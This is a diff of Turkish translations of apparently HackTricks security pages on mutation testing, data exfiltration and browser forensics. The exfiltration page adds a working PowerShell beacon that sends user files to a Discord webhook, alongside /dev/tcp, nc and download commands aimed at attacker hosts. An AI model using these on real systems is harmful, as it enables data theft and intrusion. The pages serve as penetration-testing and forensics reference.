- Mutatorlara öncelik verin: Bir satırdaki yüksek öncelikli mutant sağ kalırsa (ör. tüm satır yorum haline getirilmiş gibi), o satır için daha düşük öncelikli varyantları atlayabilirsiniz.
|
||||||
|
- Testleri paralelleştirin; runner'ınız izin veriyorsa; bağımlılıkları/build'leri cache'leyin.
|
||||||
|
- Fail-fast: bir değişiklik belirgin şekilde bir assertion açığını gösterdiğinde erken durun.
|
||||||
|
|
||||||
|
## Hayatta kalan mutantlar için triage iş akışı
|
||||||
|
|
||||||
|
1) Mutasyona uğramış satırı ve davranışı inceleyin.
|
||||||
|
- Değiştirilmiş satırı uygulayıp odaklanmış bir testi çalıştırarak yerelde yeniden üretin.
|
||||||
|
|
||||||
|
2) Testleri sadece dönüş değerlerine değil, durum doğrulamaya güçlendirin.
|
||||||
|
- Eşitlik-sınır kontrolleri ekleyin (ör. test threshold `==`).
|
||||||
|
- Post-conditions doğrulayın: bakiyeler, toplam arz, yetkilendirme etkileri ve yayınlanan event'ler.
|
||||||
|
|
||||||
|
3) Aşırı izin verici mock'ları gerçekçi davranışlarla değiştirin.
|
||||||
|
- Mock'ların zincirde gerçekleşen transferleri, hata yollarını ve event yayınlamayı zorunlu kıldığından emin olun.
|
||||||
|
|
||||||
|
4) Fuzz testleri için invariants ekleyin.
|
||||||
|
- Ör. değer korunumu, negatif olmayan bakiyeler, yetkilendirme invariants, uygulanabiliyorsa monotonik arz.
|
||||||
|
|
||||||
|
5) slither-mutate'i, hayatta kalanlar öldürülene ya da açıkça gerekçelendirilene kadar yeniden çalıştırın.
|
||||||
|
|
||||||
|
## Vaka çalışması: eksik durum assertion'larını ortaya çıkarmak (Arkis DeFi protocol)
|
||||||
|
|
||||||
|
Arkis DeFi protocol denetimi sırasında yapılan bir mutation kampanyası şu hayatta kalanları gün yüzüne çıkardı:
|
||||||
|
```text
|
||||||
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
|
```
|
||||||
|
Atamanın yorum satırı haline getirilmesi testleri kırmadı; bu, son-durum doğrulamalarının eksik olduğunu kanıtladı. Kök neden: kod, gerçek token transferlerini doğrulamak yerine kullanıcı kontrollü `_cmd.value` değerine güvendi. Bir saldırgan beklenen ile gerçek transferlerin eşleşmesini bozarak fonları boşaltabilir. Sonuç: protokolün ödenebilirliği için yüksek şiddette risk.
|
||||||
|
|
||||||
|
Rehber: değer transferlerini, muhasebeyi veya erişim kontrolünü etkileyen hayatta kalan mutantları (survivors), öldürülene kadar yüksek riskli olarak değerlendirin.
|
||||||
|
|
||||||
|
## Pratik kontrol listesi
|
||||||
|
|
||||||
|
- Run a targeted campaign:
|
||||||
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
|
- Hayatta kalan mutantları triage edip, mutasyona uğramış davranış altında başarısız olacak testler/invariantlar yazın.
|
||||||
|
- Bakiyeleri, arzı, yetkilendirmeleri ve olayları assert edin.
|
||||||
|
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||||
|
- Gerçekçi olmayan mocks'ları değiştirin; hata durumlarını simüle edin.
|
||||||
|
- Tüm mutantlar öldürülene veya yorumlar ve gerekçelerle haklı gösterilene kadar yineleyin.
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||||
|
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||||
|
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Bilgi sızdırmak için yaygın olarak beyaz listeye alınmış alanlar
|
## Bilgiyi exfiltrate etmek için yaygın olarak whitelisted olan alan adları
|
||||||
|
|
||||||
Sıkça kötüye kullanılabilecek beyaz listeye alınmış alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin.
|
Suistimal edilebilecek yaygın olarak whitelisted yapılmış alan adlarını bulmak için [https://lots-project.com/](https://lots-project.com/) adresine bakın
|
||||||
|
|
||||||
## Copy\&Paste Base64
|
## Copy\&Paste Base64
|
||||||
|
|
||||||
@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||||||
#OR
|
#OR
|
||||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||||
```
|
```
|
||||||
### Dosya Yükleme
|
### Dosya yükleme
|
||||||
|
|
||||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||||
- [**GET ve POST'ları (aynı zamanda başlıkları) yazdıran SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||||
- Python modülü [uploadserver](https://pypi.org/project/uploadserver/):
|
- Python modülü [uploadserver](https://pypi.org/project/uploadserver/):
|
||||||
```bash
|
```bash
|
||||||
# Listen to files
|
# Listen to files
|
||||||
@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
|||||||
# With basic auth:
|
# With basic auth:
|
||||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||||
```
|
```
|
||||||
### **HTTPS Sunucusu**
|
### **HTTPS Sunucu**
|
||||||
```python
|
```python
|
||||||
# from https://gist.github.com/dergachev/7028596
|
# from https://gist.github.com/dergachev/7028596
|
||||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||||
@ -100,6 +100,91 @@ if __name__ == "__main__":
|
|||||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||||
###
|
###
|
||||||
```
|
```
|
||||||
|
## Webhooks (Discord/Slack/Teams) için C2 & Data Exfiltration
|
||||||
|
|
||||||
|
Webhooks, JSON kabul eden ve isteğe bağlı dosya parçalarını destekleyen yalnız yazma (write-only) HTTPS uç noktalarıdır. Genellikle güvenilen SaaS domainlerine izin verilir ve OAuth/API anahtarları gerektirmezler; bu da onları düşük sürtünmeli beaconing ve exfiltration için kullanışlı kılar.
|
||||||
|
|
||||||
|
Key ideas:
|
||||||
|
- Uç nokta: Discord uses https://discord.com/api/webhooks/<id>/<token>
|
||||||
|
- POST multipart/form-data; payload_json adlı bir parça içinde {"content":"..."} bulunur ve opsiyonel olarak file adlı dosya parçası(ları) eklenir.
|
||||||
|
- Operatör döngü deseni: periyodik beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK teslimatı onaylar.
|
||||||
|
|
||||||
|
PowerShell PoC (Discord):
|
||||||
|
```powershell
|
||||||
|
# 1) Configure webhook and optional target file
|
||||||
|
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
|
||||||
|
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
|
||||||
|
|
||||||
|
# 2) Reuse a single HttpClient
|
||||||
|
$client = [System.Net.Http.HttpClient]::new()
|
||||||
|
|
||||||
|
function Send-DiscordText {
|
||||||
|
param([string]$Text)
|
||||||
|
$payload = @{ content = $Text } | ConvertTo-Json -Compress
|
||||||
|
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
|
||||||
|
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||||
|
$mp.Add($jsonContent, "payload_json")
|
||||||
|
$resp = $client.PostAsync($webhook, $mp).Result
|
||||||
|
Write-Host "[Discord] text -> $($resp.StatusCode)"
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-DiscordFile {
|
||||||
|
param([string]$Path, [string]$Name)
|
||||||
|
if (-not (Test-Path $Path)) { return }
|
||||||
|
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||||
|
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
|
||||||
|
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
|
||||||
|
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
|
||||||
|
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
|
||||||
|
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||||
|
$mp.Add($jsonContent, "payload_json")
|
||||||
|
$mp.Add($fileContent, "file", $Name)
|
||||||
|
$resp = $client.PostAsync($webhook, $mp).Result
|
||||||
|
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
|
||||||
|
}
|
||||||
|
|
||||||
|
# 3) Beacon/recon/exfil loop
|
||||||
|
$ctr = 0
|
||||||
|
while ($true) {
|
||||||
|
$ctr++
|
||||||
|
# Beacon
|
||||||
|
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
|
||||||
|
Send-DiscordText -Text $beacon
|
||||||
|
|
||||||
|
# Every 2nd: quick folder listing
|
||||||
|
if ($ctr % 2 -eq 0) {
|
||||||
|
$dirs = @("Documents","Desktop","Downloads","Pictures")
|
||||||
|
$acc = foreach ($d in $dirs) {
|
||||||
|
$p = Join-Path $env:USERPROFILE $d
|
||||||
|
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
|
||||||
|
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
|
||||||
|
}
|
||||||
|
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
|
||||||
|
}
|
||||||
|
|
||||||
|
# Every 3rd: targeted exfil
|
||||||
|
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
|
||||||
|
|
||||||
|
# Every 4th: basic recon
|
||||||
|
if ($ctr % 4 -eq 0) {
|
||||||
|
$who = whoami
|
||||||
|
$ip = ipconfig | Out-String
|
||||||
|
$tmp = Join-Path $env:TEMP "recon.txt"
|
||||||
|
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
|
||||||
|
Send-DiscordFile -Path $tmp -Name "recon.txt"
|
||||||
|
}
|
||||||
|
|
||||||
|
Start-Sleep -Seconds 20
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Notlar:
|
||||||
|
- Benzer desenler, incoming webhooks kullanan diğer işbirliği platformları (Slack/Teams) için de geçerlidir; URL ve JSON şemasını uygun şekilde ayarlayın.
|
||||||
|
- Discord Desktop cache artifacts ve webhook/API kurtarma ile ilgili DFIR için bakınız:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## FTP
|
## FTP
|
||||||
|
|
||||||
### FTP sunucusu (python)
|
### FTP sunucusu (python)
|
||||||
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||||||
#For new Win10 versions
|
#For new Win10 versions
|
||||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||||
```
|
```
|
||||||
Ya da **samba** kullanarak bir smb paylaşımı oluşturun:
|
Veya bir smb paylaşımı **samba kullanarak** oluşturun:
|
||||||
```bash
|
```bash
|
||||||
apt-get install samba
|
apt-get install samba
|
||||||
mkdir /tmp/smb
|
mkdir /tmp/smb
|
||||||
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
|
|||||||
```
|
```
|
||||||
## SCP
|
## SCP
|
||||||
|
|
||||||
Saldırganın SSHd'nin çalışıyor olması gerekir.
|
Saldırganın SSHd'nin çalışır durumda olması gerekir.
|
||||||
```bash
|
```bash
|
||||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||||
```
|
```
|
||||||
## SSHFS
|
## SSHFS
|
||||||
|
|
||||||
Eğer kurbanın SSH'si varsa, saldırgan kurbanın bir dizinini saldırgana bağlayabilir.
|
Eğer hedefte SSH varsa, saldırgan hedeften kendi makinesine bir dizini mount edebilir.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install sshfs
|
sudo apt-get install sshfs
|
||||||
sudo mkdir /mnt/sshfs
|
sudo mkdir /mnt/sshfs
|
||||||
@ -194,19 +279,19 @@ nc -vn <IP> 4444 < exfil_file
|
|||||||
```
|
```
|
||||||
## /dev/tcp
|
## /dev/tcp
|
||||||
|
|
||||||
### Kurbandan dosya indir
|
### victim'tan dosya indirme
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 80 > file #Inside attacker
|
nc -lvnp 80 > file #Inside attacker
|
||||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||||
```
|
```
|
||||||
### Kurbanın dosyasını yükle
|
### Dosyayı hedefe yükle
|
||||||
```bash
|
```bash
|
||||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||||
# Inside victim
|
# Inside victim
|
||||||
exec 6< /dev/tcp/10.10.10.10/4444
|
exec 6< /dev/tcp/10.10.10.10/4444
|
||||||
cat <&6 > file.txt
|
cat <&6 > file.txt
|
||||||
```
|
```
|
||||||
**@BinaryShadow\_**'a teşekkürler
|
teşekkürler **@BinaryShadow\_**
|
||||||
|
|
||||||
## **ICMP**
|
## **ICMP**
|
||||||
```bash
|
```bash
|
||||||
@ -236,25 +321,25 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||||||
|
|
||||||
Varsayılan olarak XP ve 2003'te (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)
|
Varsayılan olarak XP ve 2003'te (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)
|
||||||
|
|
||||||
Kali'de, **TFTP sunucusunu başlat**:
|
Kali'de, **start TFTP server**:
|
||||||
```bash
|
```bash
|
||||||
#I didn't get this options working and I prefer the python option
|
#I didn't get this options working and I prefer the python option
|
||||||
mkdir /tftp
|
mkdir /tftp
|
||||||
atftpd --daemon --port 69 /tftp
|
atftpd --daemon --port 69 /tftp
|
||||||
cp /path/tp/nc.exe /tftp
|
cp /path/tp/nc.exe /tftp
|
||||||
```
|
```
|
||||||
**Python'da TFTP sunucusu:**
|
**TFTP sunucusu (python):**
|
||||||
```bash
|
```bash
|
||||||
pip install ptftpd
|
pip install ptftpd
|
||||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||||
```
|
```
|
||||||
**kurban** üzerinde, Kali sunucusuna bağlanın:
|
**victim** üzerinde Kali sunucusuna bağlan:
|
||||||
```bash
|
```bash
|
||||||
tftp -i <KALI-IP> get nc.exe
|
tftp -i <KALI-IP> get nc.exe
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
Bir PHP oneliner ile bir dosya indirin:
|
Bir dosyayı PHP oneliner ile indirin:
|
||||||
```bash
|
```bash
|
||||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||||
```
|
```
|
||||||
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||||||
```
|
```
|
||||||
## Debug.exe
|
## Debug.exe
|
||||||
|
|
||||||
`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosya oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir.
|
Program `debug.exe` yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden oluşturma yeteneğine** sahiptir. Bu, bir ikilinin hex'ini sağlayarak `debug.exe`'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, `debug.exe`'nin **64 kb boyutuna kadar dosyaları oluşturma sınırlaması** olduğunu belirtmek önemlidir.
|
||||||
```bash
|
```bash
|
||||||
# Reduce the size
|
# Reduce the size
|
||||||
upx -9 nc.exe
|
upx -9 nc.exe
|
||||||
wine exe2bat.exe nc.exe nc.txt
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
```
|
```
|
||||||
Sonra metni windows-shell'e kopyala-yapıştır yap ve nc.exe adında bir dosya oluşturulacak.
|
Sonra metni windows-shell'e yapıştırın; nc.exe adında bir dosya oluşturulacaktır.
|
||||||
|
|
||||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||||
|
|
||||||
@ -310,4 +395,10 @@ Sonra metni windows-shell'e kopyala-yapıştır yap ve nc.exe adında bir dosya
|
|||||||
|
|
||||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||||
|
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||||
|
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,55 +4,55 @@
|
|||||||
|
|
||||||
## Tarayıcı Artifaktları <a href="#id-3def" id="id-3def"></a>
|
## Tarayıcı Artifaktları <a href="#id-3def" id="id-3def"></a>
|
||||||
|
|
||||||
Tarayıcı artifaktları, web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir; bunlar arasında gezinme geçmişi, yer imleri ve önbellek verileri bulunur. Bu artifaktlar, işletim sistemi içinde belirli klasörlerde saklanır, konum ve isim açısından tarayıcılar arasında farklılık gösterir, ancak genellikle benzer veri türlerini depolar.
|
Tarayıcı artifaktları, gezinme geçmişi, yer imleri ve önbellek verileri gibi web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir. Bu artifaktlar işletim sistemi içinde belirli klasörlerde tutulur; tarayıcıya göre konum ve isimler değişse de genelde benzer veri türlerini depolarlar.
|
||||||
|
|
||||||
En yaygın tarayıcı artifaktlarının bir özeti:
|
En yaygın tarayıcı artifaktlarının bir özeti:
|
||||||
|
|
||||||
- **Geçmiş**: Kullanıcıların web sitelerine yaptığı ziyaretleri takip eder, kötü niyetli sitelere yapılan ziyaretleri belirlemek için faydalıdır.
|
- **Gezinme Geçmişi**: Kullanıcının ziyaret ettiği siteleri izler; kötü amaçlı sitelere yapılan ziyaretleri belirlemede faydalıdır.
|
||||||
- **Otomatik Tamamlama Verileri**: Sık yapılan aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar.
|
- **Otomatik Doldurma Verileri**: Sık yapılan aramalara dayalı öneriler; gezinme geçmişi ile birleştirildiğinde içgörü sağlar.
|
||||||
- **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler.
|
- **Yer İmleri**: Kullanıcının hızlı erişim için kaydettiği siteler.
|
||||||
- **Eklentiler ve Ekstralar**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya ekstraları.
|
- **Eklentiler ve Add-on'lar**: Kullanıcının yüklediği tarayıcı eklentileri veya add-on'lar.
|
||||||
- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir.
|
- **Önbellek**: Web içeriğini (ör. resimler, JavaScript dosyaları) saklayarak site yükleme sürelerini iyileştirir; adli analiz için değerlidir.
|
||||||
- **Girişler**: Saklanan giriş kimlik bilgileri.
|
- **Giriş Bilgileri**: Saklanan oturum açma kimlik bilgileri.
|
||||||
- **Favikonlar**: Web siteleriyle ilişkili simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi sağlar.
|
- **Favikonlar**: Sekelerde ve yer imlerinde görünen site ikonları; kullanıcı ziyaretleri hakkında ek bilgi sağlar.
|
||||||
- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
|
- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
|
||||||
- **İndirmeler**: Tarayıcı üzerinden indirilen dosyaların kayıtları.
|
- **İndirilenler**: Tarayıcı üzerinden indirilen dosyaların kayıtları.
|
||||||
- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır.
|
- **Form Verileri**: Web formlarına girilen bilgiler; gelecekte otomatik doldurma önerileri için saklanır.
|
||||||
- **Küçük Resimler**: Web sitelerinin önizleme resimleri.
|
- **Küçük Resimler (Thumbnails)**: Web sitelerinin önizleme görüntüleri.
|
||||||
- **Custom Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler.
|
- **Custom Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
|
||||||
|
|
||||||
## Firefox
|
## Firefox
|
||||||
|
|
||||||
Firefox, kullanıcı verilerini profiller içinde düzenler, bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır:
|
Firefox, kullanıcı verilerini profiller içinde düzenler; bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır:
|
||||||
|
|
||||||
- **Linux**: `~/.mozilla/firefox/`
|
- **Linux**: `~/.mozilla/firefox/`
|
||||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||||
|
|
||||||
Bu dizinlerdeki `profiles.ini` dosyası, kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen bir klasörde saklanır ve bu klasör `profiles.ini` ile aynı dizindedir. Eğer bir profilin klasörü eksikse, silinmiş olabilir.
|
Bu dizinler içinde yer alan `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen isimdeki bir klasörde tutulur; bu klasör `profiles.ini` ile aynı dizinde bulunur. Bir profil klasörü eksikse, silinmiş olabilir.
|
||||||
|
|
||||||
Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
|
Her profil klasöründe bulunabilecek bazı önemli dosyalar:
|
||||||
|
|
||||||
- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir.
|
- **places.sqlite**: Geçmiş, yer imleri ve indirilenleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir.
|
||||||
- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorguları kullanın.
|
- Geçmiş ve indirilenler bilgilerini çıkarmak için belirli SQL sorguları kullanın.
|
||||||
- **bookmarkbackups**: Yer imlerinin yedeklerini içerir.
|
- **bookmarkbackups**: Yer imi yedeklerini içerir.
|
||||||
- **formhistory.sqlite**: Web form verilerini saklar.
|
- **formhistory.sqlite**: Web formu verilerini saklar.
|
||||||
- **handlers.json**: Protokol yöneticilerini yönetir.
|
- **handlers.json**: Protokol işleyicilerini yönetir.
|
||||||
- **persdict.dat**: Özel sözlük kelimeleri.
|
- **persdict.dat**: Özel sözlük kelimeleri.
|
||||||
- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkında bilgi.
|
- **addons.json** ve **extensions.sqlite**: Yüklü add-on ve eklentilerle ilgili bilgiler.
|
||||||
- **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) mevcuttur.
|
- **cookies.sqlite**: Çerez depolaması; Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) mevcuttur.
|
||||||
- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlar aracılığıyla erişilebilir.
|
- **cache2/entries** veya **startupCache**: Önbellek verileri; [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlarla erişilebilir.
|
||||||
- **favicons.sqlite**: Favikonları saklar.
|
- **favicons.sqlite**: Favikonları saklar.
|
||||||
- **prefs.js**: Kullanıcı ayarları ve tercihleri.
|
- **prefs.js**: Kullanıcı ayarları ve tercihleri.
|
||||||
- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite içine entegre edilmiştir.
|
- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite ile entegredir.
|
||||||
- **thumbnails**: Web sitesi küçük resimleri.
|
- **thumbnails**: Web sitesi küçük resimleri.
|
||||||
- **logins.json**: Şifrelenmiş giriş bilgileri.
|
- **logins.json**: Şifrelenmiş giriş bilgileri.
|
||||||
- **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar.
|
- **key4.db** veya **key3.db**: Hassas bilgileri korumak için şifreleme anahtarlarını saklar.
|
||||||
|
|
||||||
Ayrıca, tarayıcının anti-fishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerini arayarak güvenli tarama özelliklerinin etkin veya devre dışı olup olmadığını belirleyebilirsiniz.
|
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerinin aranması, güvenli gezinme özelliklerinin etkin olup olmadığını gösterir.
|
||||||
|
|
||||||
Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) kullanabilirsiniz.\
|
Ana şifreyi çözmeyi denemek için şu adresi kullanabilirsiniz: https://github.com/unode/firefox_decrypt\
|
||||||
Aşağıdaki script ve çağrı ile bir şifre dosyasını brute force yapmak için belirtebilirsiniz:
|
Aşağıdaki script ve çağrı ile kırma işlemi için bir parola dosyası belirtebilirsiniz:
|
||||||
```bash:brute.sh
|
```bash:brute.sh
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
@ -67,90 +67,96 @@ done < $passfile
|
|||||||
|
|
||||||
## Google Chrome
|
## Google Chrome
|
||||||
|
|
||||||
Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar:
|
Google Chrome, kullanıcı profillerini işletim sistemine göre şu konumlarda depolar:
|
||||||
|
|
||||||
- **Linux**: `~/.config/google-chrome/`
|
- **Linux**: `~/.config/google-chrome/`
|
||||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||||
|
|
||||||
Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli veriler içerir:
|
Bu dizinlerin içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunur. Aşağıdaki dosyalar önemli veriler içerir:
|
||||||
|
|
||||||
- **History**: URL'ler, indirmeler ve arama anahtar kelimelerini içerir. Windows'ta, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılarak geçmiş okunabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlar taşır.
|
